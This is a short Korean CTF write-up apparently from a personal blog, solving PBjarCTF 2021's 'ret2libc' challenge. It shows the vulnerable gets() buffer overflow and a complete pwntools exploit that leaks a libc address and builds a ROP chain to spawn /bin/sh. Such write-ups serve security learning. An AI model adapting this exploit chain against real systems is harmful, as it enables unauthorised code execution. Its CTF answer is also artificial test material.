본문 바로가기

[PBjarCTF 2021] PWN - ret2libc 본문

CTF

[PBjarCTF 2021] PWN - ret2libc

Seongjun_You 2021. 11. 3. 18:58
void learn(){
	char buf[32];

	puts("WANT TO LEARN: \n");

	puts("Before we start, would you like to learn about ret2libc?[y/N]");

	gets(buf);

	puts("");

	if(buf[0] == 'y' || buf[0] == 'Y'){
		divide();

		explain_pltgot();

		divide();

		explain_rop();

		divide();

		resources();
	}else{
		puts("I see, you must be a natural!\n");
	}
}

뚫어야 할 코드이다.

제목에서부터 알 수 있듯이 ret2libc문제이다.

어렵진 않았다.

 

exploit code

from pwn import *
context.log_level='debug'
p = process("./ret2libc")
elf = ELF("./ret2libc")
libc = ELF("./libc-2.31.so")
pop_rdi = 0x40155b
binsh_offset = next(libc.search(b"/bin/sh\x00"))

payload = b'\x90'*40
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['learn'])

p.sendline(payload)

p.recvuntil("I see, you must be a natural!\n\n")
puts = u64(p.recv(6) + b"\x00\x00")
base = puts - libc.symbols['puts']
system = base + libc.symbols['system']
binsh = base + binsh_offset

payload = b'\x90'*40
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)
p.interactive()

1. puts의 got주소 구하기 

2. learn함수 반복

3. libc base 구하기

4. 가젯들 주소 계산

5. system함수 호출

 

 

'CTF' 카테고리의 다른 글

DIMICTF 2017 - linked_reverse  (0) 2021.11.11
DIMICTF 2017 - getFlag  (0) 2021.11.08
DIMICTF 2017 - ezthread  (0) 2021.11.02
DIMICTF 2017 - dimi-contract  (0) 2021.11.01
DIMICTF 2017 - reader  (0) 2021.11.01
Comments